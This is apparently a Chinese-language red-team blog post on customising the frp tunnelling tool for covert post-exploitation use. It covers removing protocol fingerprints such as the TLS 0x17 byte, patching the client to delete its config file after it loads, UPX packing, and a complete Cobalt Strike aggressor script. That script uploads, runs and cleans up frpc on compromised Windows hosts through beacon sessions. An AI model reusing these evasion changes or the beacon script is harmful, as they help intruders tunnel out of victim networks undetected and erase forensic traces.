前言
此篇不是最終版,後續會重新整理測試完善
0x01 原理
https://blog.csdn.net/RivenDong/article/details/102872132
0x02 實戰使用
0x03 修過記錄
1.流量特征
路徑:/pkg/msg/msg.go
上面得注釋說的很清楚 當用戶端連接配接時 會發送這些資訊給服務端
可以按照這樣修改其中的值
2.加密、壓縮傳輸流量
frpc.ini中配置加上:
**use_encryption = true
**use_compression = true
如果公司内網防火牆對外網通路進行了流量識别與屏蔽,例如禁止了 ssh 協定等,通過設定 use_encryption = true,将 frpc 與 frps 之間的通信内容加密傳輸,将會有效防止流量被攔截。
如果傳輸的封包長度較長,通過設定 use_compression = true 對傳輸内容進行壓縮,可以有效減小 frpc 與 frps 之間的網絡流量,加快流量轉發速度,但是會額外消耗一些 cpu 資源。
tls_enable = true
從 v0.25.0 版本開始 frpc 和 frps 之間支援通過 TLS 協定加密傳輸。通過在 frpc.ini 的 common 中配置 tls_enable = true 來啟用此功能,安全性更高。
為了端口複用,frp 建立 TLS 連接配接的第一個位元組為 0x17。
通過将 frps.ini 的 [common] 中 tls_only 設定為 true,可以強制 frps 隻接受 TLS 連接配接。
注意: 啟用此功能後除 xtcp 外,不需要再設定 use_encryption。
3.修改0x17特征
當使用tls加密的時候,觀察流量有一個固定特征是 開頭會發一個0x17
這裡修改tls.go邏輯去特征:
0.37路徑是/frp-0.37.0/pkg/util/net/tls.go
驗證無問題
4. 隐藏frpc.ini 加載後删除
參考文章中提到三種方法
1.加上指令行參數
這種查指令其實還是容易被發現
2.遠端加載配置檔案
這樣需要通過域名或者ip解析遠端加載,也需要花時間隐藏
3.執行後删除frpc.ini
這種方法比直接在源碼中寫死更靈活,也能很有效的隐藏
步驟:
修改檔案/frp/cmd/frpc/sub/root.go檔案
加上變量
注冊參數(預設true 直接删除,可以在配置檔案中修改)
最下面的serverstart函數中加上
檢查文法 無報錯
5. 生成
直接運作目錄下package.sh腳本 交叉編譯生成 前提是go和gcc安裝好
用戶端運作後 frpc.ini 直接删除
0x04 CS插件關聯frp
1.upx加殼
考慮到編譯生成的frpc.exe比較大,傳的有點費勁 就使用upx壓縮加殼一下
也可以在linux中upx -9
(這裡有些文章的大佬 還提到了upx加殼後修改特征,這個就是另一個研究方向了,本篇不深入了)
2.編寫cna腳本
這裡的腳本參考xq17師傅修改的。
我配置的是運作後自動删除ini檔案,是以右鍵上傳的時候 也把ini傳上去
運作和删除部分,這裡直接運作指令了就。删除部分,特地加了删除ini 如果沒啟動成功的話 也把ini檔案删除 比較保險
popup beacon_bottom {
menu "Frp Proxy"{
item "Upload" {
$bid = $1;
$dialog = dialog("Upload frpc", %(UploadPath => "C:\\Windows\\Temp\\", bid => $bid), &upload);
drow_text($dialog, "UploadPath", "path: ");
dbutton_action($dialog, "ok");
dialog_show($dialog);
}
sub upload {
# switch to specify path
bcd($bid, $3['UploadPath']);
bsleep($bid, 0 ,0);
if (-is64 $bid['id']) {
bupload($bid, script_resource("scripts/frpc.exe"));
bupload($bid, script_resource("scripts/frpc.ini"));
}else{
bupload($bid, script_resource("scripts/frpc.ini"));
bupload($bid, script_resource("scripts/frpc.exe"));
}
show_message("Executing cmmand!");
}
item "Run"{
$bid = $1;
$dialog = dialog("Run frpc", %(uri => "frpc.exe -c frpc.ini || remove the frpc.ini", bid => $bid), &run);
drow_text($dialog, "uri", "configURI: ");
dbutton_action($dialog, "ok");
dialog_show($dialog);
}
sub run{
local('$Uri');
$Uri = $3['uri'];
bshell($bid, "frpc.exe -c frpc.ini ");
show_message("Executing cmmand!");
bsleep($bid, 5, 0);
}
item "Delete" {
# local("bid");
bshell($1, "taskkill /f /t /im frpc.exe && del /f /s /q frpc.exe");
bshell($1, "del /f /s /q frpc.ini");
}
}
}
}
3.同目錄放frpc
這個目錄下的scripts中放frpc.exe和frpc.ini,也可以修改腳本
然後cs用戶端中直接加載cna即可
這裡也可以利用cs目錄中的agscript 在服務端加載cna腳本 ,或者遠端加載,這樣每個用戶端就都能使用了
姿勢多多
4.測試
預設是這個路徑
測試3m大概需要50s
右鍵直接run
配置檔案已删除
測試無問題
參考
https://f5.pm/go-28125.html
https://www.yuque.com/zirc0n/escbhg/xclhd4
https://uknowsec.cn/posts/notes/FRP%E6%94%B9%E9%80%A0%E8%AE%A1%E5%88%92.html
https://uknowsec.cn/posts/notes/FRP%E6%94%B9%E9%80%A0%E8%AE%A1%E5%88%92%E7%BB%AD.html
https://www.svenbeast.com/post/HUSusAA15/
https://mp.weixin.qq.com/s?__biz=MzA5ODA0NDE2MA==&mid=2649740618&idx=1&sn=f1d67aaeab34a0329c5b648c7982c143